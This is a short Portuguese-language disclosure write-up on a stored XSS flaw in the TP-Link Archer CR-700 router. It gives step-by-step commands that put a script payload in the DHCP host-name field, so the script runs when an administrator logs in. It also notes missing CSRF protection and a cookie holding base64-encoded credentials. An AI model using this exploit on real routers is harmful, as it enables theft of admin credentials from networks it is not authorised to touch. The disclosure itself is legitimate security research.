
Explorando o roteador TP-Link Archer CR-700. (Divulgação responsável à TP-Link)
Explorando o roteador TP-Link Archer CR-700. (Divulgado de forma responsável à TP-Link)
Passo 1-> Na sua máquina Linux (Kali ou Ubuntu), digite o seguinte comando
gedit /etc/dhcp/dhclient.conf
Comente a linha abaixo #send host-name = gethostname();
Copie-a para a linha abaixo e altere a função gethostname() para um script XSS, como abaixo.
send host-name = "<script>alert(5)</script>";
Passo 2: Reinicie o seu sistema Linux para que as alterações entrem em vigor.
Passo 3: Envie uma solicitação DHCP ao roteador para receber um endereço IP com o comando abaixo. (Tente isso em qualquer roteador de rede aberto que esteja usando o TP-Link Archer CR-700)
dhclient -v -i wlan0
Ao executar o comando acima, ele envia uma solicitação DHCP ao roteador. Em uma solicitação DHCP, o nome do host é enviado, e nós o definimos forçosamente como um script XSS <script>alert(5)</script>
Passo 4: Faça login no console do administrador.
Ao fazer login, o script é executado.
Outro problema que notei no roteador é que não havia token CSRF. O cookie definido pelo roteador contém um nome de usuário e uma senha codificados em base64, que podem ser roubados usando um script XSS.
Nota: Todas as informações acima foram divulgadas à TP-Link, que reproduziu o problema e o encaminhou à sua equipe de P&D para corrigir o problema.
URL do produto: https://www.amazon.com/Wireless-Certified-Cablevision-Archer-CR700/dp/B012I96J3W